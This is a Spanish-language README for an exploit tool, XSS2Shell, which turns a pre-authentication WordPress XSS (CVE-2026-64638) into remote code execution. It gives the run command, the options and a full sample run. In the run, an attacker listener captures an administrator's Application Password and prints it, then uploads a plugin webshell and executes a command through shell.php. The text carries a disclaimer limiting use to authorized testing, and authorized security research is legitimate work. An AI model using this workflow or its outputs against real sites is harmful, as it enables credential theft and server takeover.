
Exploit PoC de XSS a RCE pre-autenticación en WordPress (xss2shell & CVE-2026-64638)
XSS2Shell es una prueba de concepto educativa para CVE-2026-64638, que demuestra el impacto de un problema de XSS pre-autenticación en instalaciones WordPress vulnerables. Con la participación explícita de un administrador, la PoC captura una Contraseña de aplicación de WordPress, publica una página temporal, sube un plugin de prueba y comprueba si el endpoint de shell resultante puede ejecutar un comando.
Antecedentes técnicos: WordPress Pre-Auth XSS to RCE: CVE-2026-64638
Solo educación y pruebas autorizadas. Ejecuta esta herramienta únicamente contra sitios WordPress que poseas o para los que tengas permiso por escrito para evaluar. No la uses para atacar a administradores de terceros ni sistemas de producción.
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
| Opción | Obligatorio | Descripción |
|---|---|---|
-t, --target | Sí | URL base de WordPress, incluyendo http:// o https:// |
-c, --command | Sí | Comando a ejecutar cuando el shell esté disponible |
--lhost | No | IP del listener para enlazar y anunciar; por defecto usa la IP LAN detectada |
--lport | No | Puerto del listener; 0 selecciona un puerto disponible aleatorio |
--keep | No | Conserva los artefactos publicados en lugar de eliminar la página temporal |
La URL del objetivo se normaliza automáticamente, por lo que la barra final es opcional.
/wp-login.php es accesible y parece una página de inicio de sesión de WordPress.shell.php y ejecuta el comando solicitado.El listener debe ser accesible desde el navegador del administrador. Las reglas de NAT, cortafuegos, proxy, bloqueo de ventanas emergentes y contenido mixto pueden impedir que el flujo del navegador se complete.
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
Las ejecuciones exitosas guardan la Contraseña de aplicación capturada en
xss2shell_creds.json para reutilizarla en ejecuciones posteriores. La página publicada temporalmente se
elimina automáticamente después del comando a menos que se use --keep.
El plugin de prueba, el endpoint de shell, la Contraseña de aplicación y las credenciales guardadas se
conservan intencionadamente en la PoC actual. Elimínalos manualmente del sitio de prueba después de una
evaluación autorizada y borra xss2shell_creds.json localmente.
Trata el archivo de credenciales como sensible y nunca lo subas al control de versiones.
Usa la licencia incluida en este repositorio.
Hecho por WordSec